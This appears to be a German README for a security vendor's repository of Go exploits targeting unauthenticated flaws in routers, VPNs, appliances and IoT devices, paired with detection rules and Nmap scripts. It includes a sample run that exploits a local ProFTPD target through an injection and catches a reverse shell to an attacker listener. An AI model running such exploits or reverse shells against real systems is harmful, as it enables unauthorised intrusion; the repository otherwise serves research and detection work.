
Go-basierte Exploits für nicht authentifizierte Netzwerkschwachstellen in Routern, VPNs, Appliances und IoT, gebündelt mit PCAPs, Suricata-/Snort-/YARA-/Sigma-Regeln und Nmap-Skripten.
Das Repository „Initial Access Community“ von VulnCheck enthält Exploits und zugehörige Artefakte aus unserem proprietären Produkt Initial Access Intelligence sowie Beiträge aus der Community. Der typische Fokus von Initial Access liegt auf netzwerkbasierten Schwachstellen, die keine Benutzerinteraktion erfordern, mit einer starken Präferenz für nicht authentifizierte Schwachstellen. Typische Ziele sind Router, VPNs, selbst gehostete Dienste (MobileIron, GitLab, Confluence usw.), Netzwerk-Appliances, B2B-Anwendungen und IoT-Geräte.
Die Exploits sind in Go unter Verwendung von VulnChecks go-exploit-Framework geschrieben. Wo möglich enthalten die Exploits einen Ziel-Verifier und einen Versionsscanner. Bei Initial Access geht es jedoch nicht nur um Exploits. Auch Discovery und Detection sind uns wichtig. Neben den Exploits stellen wir, wo möglich, Folgendes bereit:
Für das Exploit-Design folgen wir denselben Richtlinien wie go-exploit. Siehe die Paketübersicht von go-exploit.
$ cd feed/cve-2026-42167
$ make
$ ./build/cve-2026-42167_linux-amd64 -a -v -c -e -c2 SimpleShellServer -rhost 127.0.0.1 -rport 2121 -lhost 172.23.0.1 -lport 4446
time=2026-05-08T19:17:44Z level=STATUS msg="Starting listener on 172.23.0.1:4446"
time=2026-05-08T19:17:44Z level=STATUS msg="Validating ProFTPD target" host=127.0.0.1 port=2121
time=2026-05-08T19:17:44Z level=SUCCESS msg="Target verification succeeded!" host=127.0.0.1 port=2121 verified=true
time=2026-05-08T19:17:44Z level=STATUS msg="Running a version check on the remote target" host=127.0.0.1 port=2121
time=2026-05-08T19:17:44Z level=STATUS msg="This exploit has not implemented a version check" host=127.0.0.1 port=2121 vulnerable=notimplemented
time=2026-05-08T19:17:44Z level=STATUS msg="Building reverse shell to 172.23.0.1:4446"
time=2026-05-08T19:17:44Z level=STATUS msg="Sending COPY-to-program injection to 127.0.0.1:2121"
time=2026-05-08T19:17:44Z level=SUCCESS msg="Caught new shell from 172.23.0.2:49722"
time=2026-05-08T19:17:44Z level=STATUS msg="Active shell from 172.23.0.2:49722"
time=2026-05-08T19:17:48Z level=SUCCESS msg="Exploit successfully completed" exploited=true
$ id
uid=999(postgres) gid=999(postgres) groups=999(postgres)
feed/ – Exploits und schwachtstellenspezifische Artefakteverification/ – Gemeinsam genutzter Code zur Zielverifikationshells/ – Gemeinsam genutzter Shell- und Payload-Codeexamples/ – Vorlagen zum Erstellen neuer Exploitstools/ – Projekt-Tooling und Hilfsprogramme